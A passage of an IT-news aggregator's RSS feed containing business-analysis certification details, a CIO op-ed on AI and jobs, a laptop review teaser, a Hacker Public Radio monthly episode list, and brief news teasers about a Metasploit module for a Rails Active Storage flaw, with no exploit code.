<p class="wp-block-paragraph">The <a href="https://iqbba.org/iqbba/certifications/calba-certified-advanced-level-business-analysis-course/">IQBBA Certified Advanced Level Business Analysis</a> certification offers an advanced-level qualification for those who have passed the entry-level CFLBA exam. At this level, you’ll gain skills in business analysis process management, strategic analysis and optimization, and requirements management. Learning modules focus on enhancing the skills gained at the foundational level, deepening your knowledge of more advanced skills that will be necessary in your career.</p>



<ul class="wp-block-list">
<li><em>Exam fee: $215</em></li>
</ul>



<h3 class="wp-block-heading">IQBBA Certified Agile Business Analysis (CABA)</h3>



<p class="wp-block-paragraph">The <a href="https://iqbba.org/iqbba/certifications/caba-certified-agile-business-analysis/">IQBBA Certified Agile Business Analyst </a>certification is another foundational-level qualification designed for anyone who wants to strengthen their business analysis skills with a focus on the Agile framework. The course covers how to recognize the role of a BA in agile software development projects, contribute to agile software teams, understand the principles of agile business analysis, and employ BA techniques in an enterprise setting. In addition to BA principles, the course and certification cover agile skills as well, including the 12 principles of the Agile Manifesto and how they intertwine with BA methods.</p>



<ul class="wp-block-list">
<li><em>Exam fee: $215</em></li>
</ul>



<h3 class="wp-block-heading">IREB Certified Professional for Requirements Engineering (CPRE)</h3>



<p class="wp-block-paragraph">The International Requirements Engineering Board (IREB) offers the <a href="https://cpre.ireb.org/en">Certified Professional for Requirements Engineering (CPRE)</a> certification is designed for those working in requirements engineering (RE), and it’s offered at three levels. The Foundation Level is first, where you’ll be certified in the basics of RE. The Practitioner Level is next, where you can choose between four paths, including management, modeling, elicitation, and RE@Agile followed by Specialist level in the same four pathways. Finally, the Expert Level certifies you at the “highest level of expert knowledge,” which includes both your hands-on experience as well as your knowledge and skills gained through previous certifications.</p>



<p class="wp-block-paragraph">Your certification will not expire, and you will not need to renew it. The IREB states that the CPRE is “based on the fundamental methods and approaches of Requirements Engineering, and these alter only slowly,” so at this time, they don’t see a need for renewal.</p>



<ul class="wp-block-list">
<li><em>Exam fee:</em> Varies by testing center</li>
</ul>



<h3 class="wp-block-heading">PMI Professional in Business Analysis (PBA) Certification</h3>



<p class="wp-block-paragraph">The <a href="https://www.pmi.org/certifications/business-analysis-pba">PMI Professional in Business Analysis (PBA)</a> certification is designed for business analysts who work with projects or programs, or project and program managers who work with analytics. It’s offered through the Project Management Institute, which specializes in widely recognized project management certifications, such as the PMP. The certification focuses on business analysis training through hands-on projects and testing on business analysis principles, tools and fundamentals.</p>



<p class="wp-block-paragraph">If you’ve already earned a bachelor’s degree, you’ll need at least three years’ experience, or 4,500 hours, in business analysis consecutively within the past eight years to earn this certification. Without a bachelor’s degree, you’ll need five years or 7,500 hours experience.</p>



<p class="wp-block-paragraph">You’ll be required to earn 60 professional development units within three years after completing the certification to maintain your renewal status. If you let your renewal lapse, your credentials will be suspended for one year until you fulfill the requirements — after that, it will be terminated and you’ll need to reapply.</p>



<ul class="wp-block-list">
<li><em>Exam fee:</em> $405 for PMI members, $555 for non-members</li>
</ul>



<h3 class="wp-block-heading">Salesforce Certified Business Analyst</h3>



<p class="wp-block-paragraph">The Salesforce Certified Business Analyst certification is a vendor-specific certification for business analysts — or similar roles — who work directly with Salesforce technology. The exam covers customer discovery, collaboration with stakeholders, business process mapping, requirements, user stories, and development support and user acceptance. You will need to pass a 60-question multiple choice question test and up to five additional unscored questions. While it’s not required, candidates should have around 2 years of business analyst experience and Salesforce Platform experience.</p>



<ul class="wp-block-list">
<li><em>Exam fee:</em> $200</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI can do your tasks. That doesn’t mean it will do your job]]></title>
<description><![CDATA[Much of the conversation around AI and work has centered on a single question: Will AI take my job?



It’s an understandable concern. Every week AI becomes increasingly more capable. We see AI summarizing meetings, generating content, analyzing data, writing software and automating workflows tha...]]></description>
<link>https://tsecurity.de/de/3700504/it-nachrichten/ai-can-do-your-tasks-that-doesnt-mean-it-will-do-your-job/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700504/it-nachrichten/ai-can-do-your-tasks-that-doesnt-mean-it-will-do-your-job/</guid>
<pubDate>Mon, 03 Aug 2026 12:02:07 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Much of the conversation around AI and work has centered on a single question: Will AI take my job?</p>



<p class="wp-block-paragraph">It’s an understandable concern. Every week AI becomes increasingly more capable. We see AI summarizing meetings, generating content, analyzing data, writing software and automating workflows that once required significant human effort. Agentic AI is also becoming more established in the workplace, with virtual agents that can reason, plan and act across workflows. As those capabilities continue to improve, many employees are looking at the tasks they perform every day and wondering how much longer they will belong to them.</p>



<p class="wp-block-paragraph">I believe that question reveals a bigger issue that has little to do with the technology itself.</p>



<p class="wp-block-paragraph">Too many people have become defined by the tasks they perform rather than the value they create. Over time, the administrative work surrounding a role can overshadow the purpose behind it. According to Asana’s <a href="https://asana.com/resources/why-work-about-work-is-bad?utm_source=chatgpt.com">Anatomy of Work Index</a>, knowledge workers spend 60% of their time on “work about work” — coordinating, tracking and managing tasks rather than driving meaningful outcomes. As AI automates more of this work, it can feel less like a productivity breakthrough and more like a threat because many employees equate their value with the activities that consume most of their day.</p>



<p class="wp-block-paragraph">But most people were not hired to perform a task. They were hired to fulfill a purpose.</p>



<h2 class="wp-block-heading">Tasks are not the job</h2>



<p class="wp-block-paragraph">A customer service representative isn’t successful because they spend their day summarizing conversations, looking up account information or navigating multiple systems to find answers. Those activities may have become part of the job, but they aren’t the reason the role exists. Great service professionals build trust, solve problems and create moments that strengthen customer relationships. AI can, and should, take on this administrative work, but the human value has never been in completing those tasks. It has always been in helping customers through moments that matter.</p>



<p class="wp-block-paragraph">The industry increasingly recognizes this distinction. In fact, 91% of CX leaders believe human agents will remain a critical part of delivering customer experience, according to my company’s <a href="https://www.genesys.com/resources/state-of-cx">State of Customer Experience</a> 2026 report. As AI takes on more routine work, the role of the employee doesn’t disappear. It becomes even more focused on the judgment, empathy and relationship-building that customers value most.</p>



<p class="wp-block-paragraph">The same principle applies across every profession. A marketer isn’t measured by the number of presentations they build or approvals they coordinate; they’re hired to shape customer perception and drive growth; an HR professional isn’t successful because they schedule interviews or process paperwork; they’re there to identify, develop and retain talent. The examples go on, but the principle remains the same: Organizations create roles because outcomes need to be achieved, not because tasks need to be completed.<strong></strong></p>



<p class="wp-block-paragraph">I’ve helped lead four major AI transformations, spanning everything from machine learning and big data to conversational AI, generative AI and now agentic AI. While the technology has evolved dramatically, one pattern has remained remarkably consistent.</p>



<p class="wp-block-paragraph">The employees who embrace AI tend to focus on outcomes, while those who fear it often focus on tasks. The more someone defines their contribution through a list of activities, the easier it becomes to imagine AI replacing them. The more someone understands the purpose they serve, the easier it becomes to see AI as a tool that helps them deliver greater value.</p>



<p class="wp-block-paragraph">As part of AI transformations, CIO organizations are often responsible for mapping jobs and core workflows. Inevitably, employees think we’re mapping their jobs to figure out what AI can replace. But once we start identifying repetitive work they’d gladly hand off, perspectives change. Someone says, “If AI handled that, I’d finally have time to work directly with customers.” Another realizes they could spend more time creating. People start thinking less about what AI might replace and more about what they’d finally have time to do. They’re reconnecting with the reason they wanted the role in the first place.</p>



<p class="wp-block-paragraph">I’ve seen this play out as AI adoption expands. Our team responsible for responding to customer RFPs began using AI to analyze requirements, surface relevant information and accelerate response development. Their purpose is to help the organization communicate our value to customers and win new business. By reducing the time spent on low-value activities, AI created more capacity for strategic thinking, collaboration and customer-focused work, which directly influences the revenue and growth of our company.</p>



<p class="wp-block-paragraph">I’ve even had to confront this myself. I used to spend hours coaching leaders before operational reviews: reviewing KPIs, challenging assumptions and helping them prepare for difficult questions. I used to think this was part of what made me valuable as a CIO, but I realized that I didn’t need to spend my time repeating the same coaching session. That’s why I built a virtual coach that helps my team prepare for operational reviews using many of the frameworks and lessons I’ve accumulated throughout my career. Now I have more time to spend strategizing on how to lead through the breakneck speed of AI evolution and helping the business think differently.</p>



<h2 class="wp-block-heading">Rediscovering purpose</h2>



<p class="wp-block-paragraph">What employees are really confronting is a different question: What was my purpose in being hired in the first place?</p>



<p class="wp-block-paragraph">As organizations move from AI experimentation to AI-first operating models, this question becomes harder to avoid. The tension is already visible across the workforce. A recent <a href="https://www.ey.com/en_us/newsroom/2025/10/new-ey-survey-reveals-majority-of-workers-are-enthusiastic-about-agentic-ai-but-leadership-gaps-in-communication-and-lack-of-training-threaten-impact">EY survey</a> found that 84% of employees are eager to embrace agentic AI because they expect it to improve productivity, efficiency and the overall work experience. Yet 56% also worry about their job security working alongside AI systems. Employees aren’t rejecting AI; they’re trying to understand which parts of their contributions remain uniquely theirs as technology takes on more of the tasks they perform today.</p>



<p class="wp-block-paragraph">Success will depend greatly on helping employees reconnect with the value they were hired to create. For leaders looking for practical guidance on how organizations are actually approaching AI-first transformation, the World Economic Forum’s <a href="https://www.weforum.org/publications/the-ai-first-operating-system-a-blueprint-for-operating-and-business-model-innovation/">AI-First Operating System</a> offers a useful framework. Rather than treating AI as another technological tool, this approach encourages organizations to redesign work around value creation. As AI increasingly takes on routine tasks, employees must become clearer about where human judgment, creativity and relationships can create the greatest impact. You cannot redesign work around value if people no longer understand the purpose behind the work that they do.</p>



<p class="wp-block-paragraph">In my experience, the organizations seeing the strongest results are helping employees reconnect with the outcomes they were hired to create. The conversation shifts from “What tasks can AI do?” to “What is the purpose of this role?” Once people answer that question, it becomes much easier to decide what should remain human, what can be delegated to AI and where the combination creates the most value.</p>



<p class="wp-block-paragraph">None of this means change won’t happen. Some responsibilities will disappear. Some jobs will evolve significantly. New roles will emerge that we cannot fully predict today. Every major technology shift creates that kind of change.</p>



<p class="wp-block-paragraph">But I believe many people are looking at this transformation through the wrong lens.</p>



<p class="wp-block-paragraph">The question is not whether AI can do your tasks. The question is whether you understand the purpose behind them. Because while AI may increasingly perform the work, humans will continue to provide the judgment, creativity, accountability and value that give that work meaning.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Framework Laptop 13 Pro im Test: Der beste Laptop ohne Apple-Logo]]></title>
<description><![CDATA[Der Framework Laptop 13 Pro ist eines der wenigen Notebooks mit CAMM2-Arbeitsspeicher und ein signifikantes Upgrade zum Standardmodell. Von Oliver Nickel (Framework Laptop, Notebook)]]></description>
<link>https://tsecurity.de/de/3700435/it-nachrichten/framework-laptop-13-pro-im-test-der-beste-laptop-ohne-apple-logo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700435/it-nachrichten/framework-laptop-13-pro-im-test-der-beste-laptop-ohne-apple-logo/</guid>
<pubDate>Mon, 03 Aug 2026 12:01:06 +0200</pubDate>
<content:encoded><![CDATA[Der Framework Laptop 13 Pro ist eines der wenigen Notebooks mit CAMM2-Arbeitsspeicher und ein signifikantes Upgrade zum Standardmodell. Von Oliver Nickel (<a href="https://www.golem.de/specials/framework-laptop/">Framework Laptop</a>, <a href="https://www.golem.de/specials/notebook/">Notebook</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=211494&amp;page=1&amp;ts=1785751201" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4696: HPR Community News for July 2026]]></title>
<description><![CDATA[This show has been flagged as Explicit by the host.
New hosts  There were no new hosts this month.   Last Month's Shows    Id Day Date Title Host   4673 Wed 2026-07-01 First contact conversation Archer72   4674 Thu 2026-07-02 Audiobooks Ahuka   4675 Fri 2026-07-03 Yard Inflatables operat0r   4676...]]></description>
<link>https://tsecurity.de/de/3700418/podcasts/hpr4696-hpr-community-news-for-july-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700418/podcasts/hpr4696-hpr-community-news-for-july-2026/</guid>
<pubDate>Mon, 03 Aug 2026 10:27:26 +0200</pubDate>
<content:encoded><![CDATA[<p>This show has been flagged as Explicit by the host.</p>
<h2>New hosts</h2> <p> There were no new hosts this month. </p>  <h2>Last Month's Shows</h2>  <table> <tr> <th>Id</th> <th>Day</th> <th>Date</th> <th>Title</th> <th>Host</th> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4673/index.html" target="_blank">4673</a></strong></td> <td>Wed</td> <td class="shrink">2026-07-01</td> <td><a href="https://hackerpublicradio.org/eps/hpr4673/index.html" target="_blank">First contact conversation</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0318.html" target="_blank">Archer72</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4674/index.html" target="_blank">4674</a></strong></td> <td>Thu</td> <td class="shrink">2026-07-02</td> <td><a href="https://hackerpublicradio.org/eps/hpr4674/index.html" target="_blank">Audiobooks</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0198.html" target="_blank">Ahuka</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4675/index.html" target="_blank">4675</a></strong></td> <td>Fri</td> <td class="shrink">2026-07-03</td> <td><a href="https://hackerpublicradio.org/eps/hpr4675/index.html" target="_blank">Yard Inflatables</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0036.html" target="_blank">operat0r</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4676/index.html" target="_blank">4676</a></strong></td> <td>Mon</td> <td class="shrink">2026-07-06</td> <td><a href="https://hackerpublicradio.org/eps/hpr4676/index.html" target="_blank">HPR Community News for June 2026</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0159.html" target="_blank">HPR Volunteers</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4677/index.html" target="_blank">4677</a></strong></td> <td>Tue</td> <td class="shrink">2026-07-07</td> <td><a href="https://hackerpublicradio.org/eps/hpr4677/index.html" target="_blank">UNIX Curio #10 - Checksums and Hashes</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0459.html" target="_blank">Vance</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4678/index.html" target="_blank">4678</a></strong></td> <td>Wed</td> <td class="shrink">2026-07-08</td> <td><a href="https://hackerpublicradio.org/eps/hpr4678/index.html" target="_blank">High Resolution Elapsed Time in Shell Scripts</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0455.html" target="_blank">Whiskeyjack</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4679/index.html" target="_blank">4679</a></strong></td> <td>Thu</td> <td class="shrink">2026-07-09</td> <td><a href="https://hackerpublicradio.org/eps/hpr4679/index.html" target="_blank">HPR Beer Garden 15 - Double IPA</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0296.html" target="_blank">Kevie</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4680/index.html" target="_blank">4680</a></strong></td> <td>Fri</td> <td class="shrink">2026-07-10</td> <td><a href="https://hackerpublicradio.org/eps/hpr4680/index.html" target="_blank">Robert A. Heinlein: The Future History, Part 2</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0198.html" target="_blank">Ahuka</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4681/index.html" target="_blank">4681</a></strong></td> <td>Mon</td> <td class="shrink">2026-07-13</td> <td><a href="https://hackerpublicradio.org/eps/hpr4681/index.html" target="_blank">My Disabilities</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0441.html" target="_blank">Antoine</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4682/index.html" target="_blank">4682</a></strong></td> <td>Tue</td> <td class="shrink">2026-07-14</td> <td><a href="https://hackerpublicradio.org/eps/hpr4682/index.html" target="_blank">Behind the Keyboard: A Cybersecurity Operator’s Real-World Workflow</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0036.html" target="_blank">operat0r</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4683/index.html" target="_blank">4683</a></strong></td> <td>Wed</td> <td class="shrink">2026-07-15</td> <td><a href="https://hackerpublicradio.org/eps/hpr4683/index.html" target="_blank">Recording the hallway track</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0030.html" target="_blank">Ken Fallon</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4684/index.html" target="_blank">4684</a></strong></td> <td>Thu</td> <td class="shrink">2026-07-16</td> <td><a href="https://hackerpublicradio.org/eps/hpr4684/index.html" target="_blank">Sim Racing on the cheap!</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0036.html" target="_blank">operat0r</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4685/index.html" target="_blank">4685</a></strong></td> <td>Fri</td> <td class="shrink">2026-07-17</td> <td><a href="https://hackerpublicradio.org/eps/hpr4685/index.html" target="_blank">Listening to SSB stations in the early 1980s</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0461.html" target="_blank">Lennart Benschop</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4686/index.html" target="_blank">4686</a></strong></td> <td>Mon</td> <td class="shrink">2026-07-20</td> <td><a href="https://hackerpublicradio.org/eps/hpr4686/index.html" target="_blank">Debugging Security Cameras: Firmware Updates, Python Scripts and Windows Workarounds</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0036.html" target="_blank">operat0r</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4687/index.html" target="_blank">4687</a></strong></td> <td>Tue</td> <td class="shrink">2026-07-21</td> <td><a href="https://hackerpublicradio.org/eps/hpr4687/index.html" target="_blank">UNIX Curio #11 - Merging Files</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0459.html" target="_blank">Vance</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4688/index.html" target="_blank">4688</a></strong></td> <td>Wed</td> <td class="shrink">2026-07-22</td> <td><a href="https://hackerpublicradio.org/eps/hpr4688/index.html" target="_blank">Downloading Podcasts with a Shell Script</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0455.html" target="_blank">Whiskeyjack</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4689/index.html" target="_blank">4689</a></strong></td> <td>Thu</td> <td class="shrink">2026-07-23</td> <td><a href="https://hackerpublicradio.org/eps/hpr4689/index.html" target="_blank">Cheap Yellow Display Project Part 8: Writing the code </a></td> <td><a href="https://hackerpublicradio.org/correspondents/0394.html" target="_blank">Trey</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4690/index.html" target="_blank">4690</a></strong></td> <td>Fri</td> <td class="shrink">2026-07-24</td> <td><a href="https://hackerpublicradio.org/eps/hpr4690/index.html" target="_blank">Playing Civilization V, Part 14</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0198.html" target="_blank">Ahuka</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4691/index.html" target="_blank">4691</a></strong></td> <td>Mon</td> <td class="shrink">2026-07-27</td> <td><a href="https://hackerpublicradio.org/eps/hpr4691/index.html" target="_blank">Viva la Coda</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0403.html" target="_blank">Lee</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4692/index.html" target="_blank">4692</a></strong></td> <td>Tue</td> <td class="shrink">2026-07-28</td> <td><a href="https://hackerpublicradio.org/eps/hpr4692/index.html" target="_blank">Noise Music Tutorial 2: Using Audacity to Make Noise</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0354.html" target="_blank">TheDUDE</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4693/index.html" target="_blank">4693</a></strong></td> <td>Wed</td> <td class="shrink">2026-07-29</td> <td><a href="https://hackerpublicradio.org/eps/hpr4693/index.html" target="_blank">Amateur Radio Field Days</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0318.html" target="_blank">Archer72</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4694/index.html" target="_blank">4694</a></strong></td> <td>Thu</td> <td class="shrink">2026-07-30</td> <td><a href="https://hackerpublicradio.org/eps/hpr4694/index.html" target="_blank">HPR Beer Garden 16 - Belgian Blonde</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0296.html" target="_blank">Kevie</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4695/index.html" target="_blank">4695</a></strong></td> <td>Fri</td> <td class="shrink">2026-07-31</td> <td><a href="https://hackerpublicradio.org/eps/hpr4695/index.html" target="_blank">Try not to buy a phone</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0036.html" target="_blank">operat0r</a></td> </tr> </table>  <h2>Comments this month</h2>  <h3>Past shows</h3> <ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4644/index.html#comments" target="_blank">hpr4644</a></strong> (2026-05-21) "<em>Response to comments on HPR4424: Newsboat...</em>" by <a href="https://hackerpublicradio.org/correspondents/0318.html" target="_blank">Archer72</a>.<br></li> <ul> <li><strong>Archer72</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4644/index.html#comment_4779" target="_blank">Ken on Community Show HPR4676</a></em>" (2026-07-06 13:48:39)<br></li> <li><strong>Ken Fallon</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4644/index.html#comment_4780" target="_blank">hpr3962 :: It's your data</a></em>" (2026-07-06 15:07:47)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4669/index.html#comments" target="_blank">hpr4669</a></strong> (2026-06-25) "<em>HPR Beer Garden 14 - Super Strong Lager</em>" by <a href="https://hackerpublicradio.org/correspondents/0296.html" target="_blank">Kevie</a>.<br></li> <ul> <li><strong>The_Dud3</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4669/index.html#comment_4789" target="_blank">Favorite Malt Liquores/Super Strong Lagers</a></em>" (2026-07-22 02:07:59)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4672/index.html#comments" target="_blank">hpr4672</a></strong> (2026-06-30) "<em>Hey Mum, I'm on Spotify ! </em>" by <a href="https://hackerpublicradio.org/correspondents/0030.html" target="_blank">Ken Fallon</a>.<br></li> <ul> <li><strong>Archer72</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4672/index.html#comment_4782" target="_blank">Another great show!</a></em>" (2026-07-08 09:46:44)<br></li> </ul> </ul> <h3>This month's shows</h3> <ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4674/index.html#comments" target="_blank">hpr4674</a></strong> (2026-07-02) "<em>Audiobooks</em>" by <a href="https://hackerpublicradio.org/correspondents/0198.html" target="_blank">Ahuka</a>.<br></li> <ul> <li><strong>The Librarian</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4674/index.html#comment_4778" target="_blank">Ook ?</a></em>" (2026-07-02 10:50:38)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4677/index.html#comments" target="_blank">hpr4677</a></strong> (2026-07-07) "<em>UNIX Curio #10 - Checksums and Hashes</em>" by <a href="https://hackerpublicradio.org/correspondents/0459.html" target="_blank">Vance</a>.<br></li> <ul> <li><strong>xmanmonk</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4677/index.html#comment_4781" target="_blank">Another great show</a></em>" (2026-07-07 21:17:41)<br></li> <li><strong>candycanearter07</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4677/index.html#comment_4783" target="_blank">cool show :D</a></em>" (2026-07-08 11:32:04)<br></li> <li><strong>Vance</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4677/index.html#comment_4784" target="_blank">Thanks, and systemd as a future topic</a></em>" (2026-07-09 01:50:23)<br></li> <li><strong>Vance</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4677/index.html#comment_4787" target="_blank">Sorry, xmanmonk</a></em>" (2026-07-12 03:20:02)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4678/index.html#comments" target="_blank">hpr4678</a></strong> (2026-07-08) "<em>High Resolution Elapsed Time in Shell Scripts</em>" by <a href="https://hackerpublicradio.org/correspondents/0455.html" target="_blank">Whiskeyjack</a>.<br></li> <ul> <li><strong>candycanearter07</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4678/index.html#comment_4785" target="_blank">cool ep</a></em>" (2026-07-09 14:38:32)<br></li> <li><strong>Whiskeyjack</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4678/index.html#comment_4786" target="_blank">Reply to candycanearter07 on HPR4678</a></em>" (2026-07-09 22:48:47)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4681/index.html#comments" target="_blank">hpr4681</a></strong> (2026-07-13) "<em>My Disabilities</em>" by <a href="https://hackerpublicradio.org/correspondents/0441.html" target="_blank">Antoine</a>.<br></li> <ul> <li><strong>Archer72</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4681/index.html#comment_4790" target="_blank">Reading</a></em>" (2026-07-22 13:43:46)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4684/index.html#comments" target="_blank">hpr4684</a></strong> (2026-07-16) "<em>Sim Racing on the cheap!</em>" by <a href="https://hackerpublicradio.org/correspondents/0036.html" target="_blank">operat0r</a>.<br></li> <ul> <li><strong>Jim DeVore </strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4684/index.html#comment_4793" target="_blank">Great episode!</a></em>" (2026-07-28 03:43:23)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4685/index.html#comments" target="_blank">hpr4685</a></strong> (2026-07-17) "<em>Listening to SSB stations in the early 1980s</em>" by <a href="https://hackerpublicradio.org/correspondents/0461.html" target="_blank">Lennart Benschop</a>.<br></li> <ul> <li><strong>Lucinda</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4685/index.html#comment_4788" target="_blank">Thank you</a></em>" (2026-07-21 10:53:42)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comments" target="_blank">hpr4688</a></strong> (2026-07-22) "<em>Downloading Podcasts with a Shell Script</em>" by <a href="https://hackerpublicradio.org/correspondents/0455.html" target="_blank">Whiskeyjack</a>.<br></li> <ul> <li><strong>candycanearter07</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comment_4791" target="_blank">cool solution</a></em>" (2026-07-22 23:14:22)<br></li> <li><strong>Whiskeyjack</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comment_4792" target="_blank">Response to candycanearter07 in HPR4688</a></em>" (2026-07-23 19:14:55)<br></li> </ul> </ul> <h2>Mailing List discussions</h2> <p>Policy decisions surrounding HPR are taken by the community as a whole. This discussion takes place on the <a href="https://lists.hackerpublicradio.com/mailman/listinfo/hpr" target="_blank">Mailing List</a> which is open to all HPR listeners and contributors. The discussions are open and available on the HPR server under <a href="https://lists.hackerpublicradio.com/pipermail/hpr">Mailman</a>. </p> <p>The threaded discussions this month can be found here:</p> <a href="https://lists.hackerpublicradio.com/pipermail/hpr/2026-July/thread.html" target="_blank">https://lists.hackerpublicradio.com/pipermail/hpr/2026-July/thread.html</a>  <h2>Events Calendar</h2> <p>With the kind permission of <strong>LWN.net</strong> we are linking to <a href="https://lwn.net/Calendar/" target="_blank">The LWN.net Community Calendar</a>.</p> <p>Quoting the site:</p> <blockquote>This is the LWN.net community event calendar, where we track events of interest to people using and developing Linux and free software. Clicking on individual events will take you to the appropriate web page.</blockquote> <!-- HPRCN:month=2026-07,latest_comment=4793,latest_host=461,latest_episode=4695 --><p><a href="https://hackerpublicradio.org/eps/hpr4696/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Metasploit Exploit Targets Critical Ruby on Rails Active Storage RCE Flaw]]></title>
<description><![CDATA[A new Metasploit Framework module has been submitted for review, targeting the critical Ruby on Rails Active Storage vulnerability, tracked as CVE-2026-66066. This submission poses an increased risk to applications that utilize the Vips image-processing backend. The proposed module is named `expl...]]></description>
<link>https://tsecurity.de/de/3700209/hacking/metasploit-exploit-targets-critical-ruby-on-rails-active-storage-rce-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700209/hacking/metasploit-exploit-targets-critical-ruby-on-rails-active-storage-rce-flaw/</guid>
<pubDate>Mon, 03 Aug 2026 10:23:00 +0200</pubDate>
<content:encoded><![CDATA[<p>A new Metasploit Framework module has been submitted for review, targeting the critical Ruby on Rails Active Storage vulnerability, tracked as CVE-2026-66066. This submission poses an increased risk to applications that utilize the Vips image-processing backend. The proposed module is named `exploit/multi/http/rails_activestorage_vips_rce` and was introduced in Rapid7 Metasploit Framework pull request #21733 by contributor jburgess-r7. […]</p>
<p>The post <a href="https://gbhackers.com/metasploit-exploit-targets-critical-ruby-on-rails/">Metasploit Exploit Targets Critical Ruby on Rails Active Storage RCE Flaw</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Metasploit Exploit Targets Critical Ruby on Rails Active Storage RCE Flaw]]></title>
<description><![CDATA[A new Metasploit Framework module has been submitted for review, targeting the critical Ruby on Rails Active Storage vulnerability, tracked as…
Read more →
The post Metasploit Exploit Targets Critical Ruby on Rails Active Storage RCE Flaw appeared first on IT Security News.]]></description>
